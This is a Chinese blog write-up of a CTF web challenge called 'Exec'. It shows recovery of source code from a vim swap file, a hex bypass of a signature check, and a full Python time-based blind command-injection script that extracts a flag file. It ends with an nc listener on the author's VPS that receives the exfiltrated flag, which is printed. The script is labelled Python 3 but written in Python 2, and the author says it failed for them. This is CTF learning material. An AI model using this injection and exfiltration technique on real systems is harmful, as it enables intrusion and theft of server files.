i春秋 “百度杯”CTF比赛 十月场 Exec

原创

「已注销」 于 2018-10-08 21:39:50 发布 819 收藏

分类专栏： i春秋

友链：https://cutt.ly/7777aaaa

本文链接：https://blog.csdn.net/include_heqile/article/details/82974267

https://www.ichunqiu.com/battalion?t=1&r=0

进入题目链接，是一只猫咪

查看网页源代码：

```
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
no sign
```

得到提示：`vim`

很容易联想到`vim`编辑器的临时交换文件，尝试`/.index.php.swo`，顺利下载到文件

`vim -r index,php.swo`

使用十六进制形式绕过`sign`参数的检查，他给的那个数字其实就是16进制的`0xabcdef`

后面的步骤可以使用个人的`vps`去做，但是我没有，参考网上的时间盲注也做不出来，无奈，只能现在放在这儿了

时间盲注代码如下：（使用了python3多线程）

```
import requests,string,threading


def getLength(url,payload):
    data = {}
    length = 0
    for i in xrange(200):
        data['cmd']="a=$(%s);b=${#a};if test $b -eq %d;then sleep 3;fi"%(payload,i)
        try:
            r = requests.post(url,data=data,timeout=3)
        except:
            length = i
            print "the string length is {}".format(length)
            break
    return length

def getString(url,payload):
    global length,lock,curId,key
    data = {}
    words = string.uppercase+string.lowercase+string.digits+'/=+'
    i = 0
    while True:
        lock.acquire()
        if curId == length:
            lock.release()
            break
        i = curId
        curId += 1
        lock.release()
        for j in words:
            data['cmd']="a=$({});b=`expr substr $a {} 1`;if test $b = '{}';then sleep 8;fi".format(payload,i+1,j
)
            try:
                r = requests.post(url,data=data,timeout=8)
            except:
                key[i] = j
                lock.acquire()
                print ''.join(key)
                lock.release()
                break


url = 'http://238de0378b514fc78acefac7676fefd36250b17a68494529.game.ichunqiu.com/index.php?sign=0xabcdef'
payload = "base64 flag233.php -w 0"
length = getLength(url,payload)
lock = threading.Lock()
curId = 0 #max(curId) = length - 1
key = ['?' for i in xrange(length)]

th=[]
for i in xrange(10):
    t = threading.Thread(target=getString,args=(url,payload))
    th.append(t)
for t in th:
    t.start()
for t in th:
    t.join()
```

上面的时间忙注我并没有执行成功，刚刚入手了`VPS`，使用`NC`反弹`shel`l即可

```
root@ubuntu:~# nc -ul 9999
<?php
        $flag='flag{d09e76cb-1047-40cc-a45f-0376185406a9}';
?>
hhhhhhhhhhh,too young too simple
```